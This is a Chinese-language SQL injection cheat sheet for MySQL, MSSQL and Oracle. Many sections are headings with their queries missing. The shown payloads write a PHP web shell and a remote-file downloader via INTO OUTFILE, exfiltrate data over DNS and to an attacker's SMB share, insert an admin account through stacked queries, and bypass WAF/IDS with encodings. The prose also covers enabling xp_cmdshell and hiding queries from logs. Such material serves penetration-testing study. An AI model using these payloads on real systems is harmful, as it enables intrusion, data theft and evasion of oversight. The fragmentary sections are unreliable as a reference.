SQL注入备忘录
0x00 前言
这篇文章主要是总结日常测试sql注入的方法和一些总结,主要是MySQL,MSSQL,ORACLE,sql注入的过程中对他们的利用方式以及一些小技巧。
0x01 MySQL
< MySQL >
-------
\ ^__^
\ (oo)\_______
(__)\ )\/\
||----w |
|| ||默认数据库
mysql
需要root权限
information_schema
数据库版本高于5.0
测试注入
返回False表示查询无效(MySQL发生错误/网站上的内容丢失)
返回True表示查询是有效的(内容和往常一样显示)
字符型注入
数字型注入
AND 1
True
AND 0
False
AND true
True
AND False
False
1-false
存在漏洞返回1
1-true
存在漏洞返回0
1*56
存在漏洞返回56
1*56
不存在漏洞返回1
注释查询
以下内容可用于注释掉注入时查询的其余部分:
测试版本
数据库凭证
数据库名称
服务器主机名
服务器MAC地址
他的全球唯一标识符是一个128位的数字,最后12位数字是从接口MAC地址形成的。
表名和列名
确定列数
Order by/Group by
基于错误(1)
基于错误(2)
基于错误(3)
检索表名
union
Blind
Error
检索列名
union
Blind
Error
PROCEDURE ANALYSE
一次检索多个表/列
example:
我数据库里面所有列都跑出来了,这招很有用。
名
从列名查找表名
从表名中查找列名
找出当前的查询

引号绕过
字符串连接
tips: CONCAT()函数用于将多个字符串连接成一个字符串。 语法及使用特点: CONCAT(str1,str2,…) 返回结果为连接参数产生的字符串。如有任何一个参数为NULL ,则返回值为 NULL。可以有一个或多个参数。 CONCAT_WS() 代表 CONCAT With Separator ,是CONCAT()的特殊形式。第一个参数是其它参数的分隔符。分隔符的位置放在要连接的两个字符串之间。分隔符可以是一个字符串,也可以是其它参数。如果分隔符为 NULL,则结果为 NULL。函数会忽略任何分隔符参数后的 NULL 值。但是CONCAT_WS()不会忽略任何空字符串。 (然而会忽略所有的 NULL)。 GROUP_CONCAT函数返回一个字符串结果,该结果由分组中的值连接组合而成。
条件声明
CASE
IF()
IFNULL()
NULLIF()
timing
特权
文件特权 以下查询可以帮助确定给定用户的FILE权限。


读文件
如果用户具有FILE权限,则可以读取文件。
tips:
文件必须位于服务器主机上。
LOAD_FILE()的基本目录是@@datadir。
该文件必须是MySQL用户可读的。
文件大小必须小于max_allowed_packet。
@@max_allowed_packet的默认大小是1047552字节。
写文件
如果用户具有FILE权限,则可以写入文件。
```
INTO OUTFILE/DUMPFILE
Examples:
写入一个 PHP shell: SELECT '<? system($_GET[\'c\']); ?>' INTO OUTFILE '/var/www/shell.php'; 使用方法: http://localhost/shell.php?c=cat /etc/passwd
写入一个下载器: SELECT '<? fwrite(fopen($_GET[f], \'w\'), file_get_contents($_GET[u])); ?>' INTO OUTFILE '/var/www/get.php' 使用方法: http://localhost/get.php?f=shell.php&u=http://localhost/c99.txt
DNS Requests: SELECT LOAD_FILE(CONCAT('\\foo.',(select MID(version(),1,1)),'.ceye.io\'));
SMB Requests: ' OR 1=1 INTO OUTFILE '\\attacker\SMBshare\output.txt
Examples: SELECT FROM Users WHERE ID=1 AND 1=0; INSERT INTO Users(username, password, priv) VALUES ('BobbyTables', 'kl20da$$','admin'); SELECT FROM Users WHERE ID=1 AND 1=0; SHOW COLUMNS FROM Users;
Examples: UNION SELECT /!50000 5,null;%00//!40000 4,null-- ,//!30000 3,null-- x/0,null--+ SELECT 1/!41320UNION/!/!/!00000SELECT/!/!USER/!(/!/!/!*/);
第一个例子返回版本; 它使用了一个2列的联合。 第二个例子演示了如何绕过WAF/IDS。
09 水平标签 0A 新的一行 0B 垂直标签 0C 新页面 0D 回车 A0 不间断的空格 20 空格
Example: '%0A%09UNION%0CSELECT%A0NULL%20%23
28 ( 29 )
Example: UNION(SELECT(column)FROM(table))
20 Space 2B + 2D - 7E ~ 21 ! 40 @
Example: SELECT 1 FROM dual WHERE 1=1 AND-+-+-+-+~~((1))
tips: dual是一个可用于测试的虚拟表。
Example: 1'# AND 0-- UNION# I am a comment! SELECT@tmp:=table_name x FROM-- information_schema.tables LIMIT 1#
1'%23%0AAND 0--%0AUNION%23 I am a comment!%0ASELECT@tmp:=table_name x FROM--%0Ainformation_schema.tables LIMIT 1%23
VERSION/*/%A0 (/comment*/)
URL Encoding --> SELECT %74able%6eame FROM information_schema.tables; Double URL Encoding --> SELECT %2574able%256eame FROM informationschema.tables; Unicode Encoding --> SELECT %u0074able%u6eame FROM informationschema.tables; Invalid Hex Encoding (ASP) --> SELECT %tab%le%na%me FROM information_schema.tables;
INFORMATION_SCHEMA.TABLES
Example: 空格 information_schema . tables 反引号 information_schema.tables 特定的代码 /!information_schema.tables/ 替代名称 information_schema.partitions information_schema.statistics information_schema.key_column_usage information_schema.table_constraints
tips: 他的替代名称可能取决于表中存在的主键。
AND,&& --逻辑AND = --分配一个值(作为SET语句的一部分,或作为UPDATE语句中的SET子句的一部分) : --=分配一个值 BETWEEN ... AND ... --检查一个值是否在一个范围内 BINARY --将字符串转换为二进制字符串 & --按位与 〜 --反转位 | --按位或 ^ -- 按位XOR CASE --Case操作 DIV --整数除法 / --Division operator <=> -- NULL-safe等于运算符 = --等号运算符
= --大于或等于运算符 -- 大于运算符 IS NOT NULL -- NOT NULL值测试 不是根据布尔值来测试一个值 IS NULL --NULL值测试 IS --根据布尔值来测试一个值 << --Left shift <= -- 小于或等于 < -- 小于 LIKE -- 简单的模式匹配
-- 减号
%或MOD-- 模运算符
NOT BETWEEN ... AND ... -- 检查一个值是否在一个范围内
!=,<> -- 不等于运算符
NO LIKE -- 简单模式匹配的否定
NOT REGEXP -- NOT REGEXP
NOT , ! -- 否定值
|| -- 或
+-- 加法运算符
REGEXP 使用正则表达式的REGEXP模式匹配
-- 右移 RLIKE -- REGEXP的同义词 SOUNDS LIKE-- 比较声音
-- 乘法运算符
-- 改变参数的符号
XOR -- 逻辑异或
current_user
null, \N
true, false
PASSWORD('mypass') 6f8c114b58f2ce9e
从MySQL 4.1开始,PASSWORD()函数已被修改为产生一个更长的41字节散列值:
PASSWORD('mypass') *6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4
0x02 MSSQL
默认的数据库
注释查询
以下内容可用于注释查询:
测试版本
@@VERSION
主机名
tips:
SERVERPROPERTY() 只对 MSSQL 2005 或更高版本有效
列名和表名
猜解表名
我们可以从两个不同的数据库,information_schema.tables或master..sysobjects中检索表。 union
Blind
Error
Xtype ='U'用于用户定义的表格。 您可以使用“V”查看。
猜解列名
我们可以从两个不同的数据库,information_schema.columns或masters..syscolumns中检索这些列。 union
Blind
Blind
一次查询多个表或列 以下3个查询将创建一个临时表/列,并将所有用户定义的表格插入到其中。 然后它将转储表内容并删除该表完成。
引号绕过
字符串连接
条件声明
定时
OPENROWSET攻击
命令执行
包含一个名为xp_cmdshell的扩展存储过程,可用于执行操作系统命令。
从MSSQL 2005及更高版本开始,xp_cmdshell在默认情况下处于禁用状态,但可以通过以下查询来激活:
或者,您可以创建自己的过程来获得相同的结果:
如果SQL版本高于2000,则必须运行其他查询才能执行上述命令:
Example: 检查是否加载了xp_cmdshell,如果是,则检查它是否处于活动状态,然后继续运行“dir”命令并将结果插入到TMP_DB中:
转储内容:
删除表:
SP_PASSWORD(隐藏查询)
将sp_password附加到查询的末尾会将其从T-SQL日志中隐藏,作为安全措施。
堆查询
MSSQL 支持堆查询
Fuzz
以下字符可以用作空格。
AND/OR后允许的特征
编码
编码有时可以bypass WAF/IDS.
密码破解
密码以0x0100开始,0x之后的第一个字节是常量; 接下来的八个字节是散列盐,其余的80个字节是两个散列,前40个字节是密码的区分大小写,而第二个40字节是大写字母。
0x0100236A261CE12AB57BA22A7F44CE3B780E52098378B65852892EEE91C0784B911D76BF4EB124550ACABDFD1457
Password Cracking A Metasploit module for JTR can be found here.
0x03 Oracle
默认数据库
注释查询
以下内容可用于注释后的其余查询:
测试版本
Database Credentials
数据库名
当前数据库
用户数据库
SELECT DISTINCT owner FROM all_tables;
服务主机名
表名和列名
猜解表名
猜解列名:
从列名查找表
从表名查找列
一次检索多个表
避免使用引号
与其他RDBMS不同,Oracle允许对表/列名进行编码。
字符串连接
条件声明
延时
提权
DNS Requests
Password Cracking
msf中的JTR模块。
最后更新于
这有帮助吗?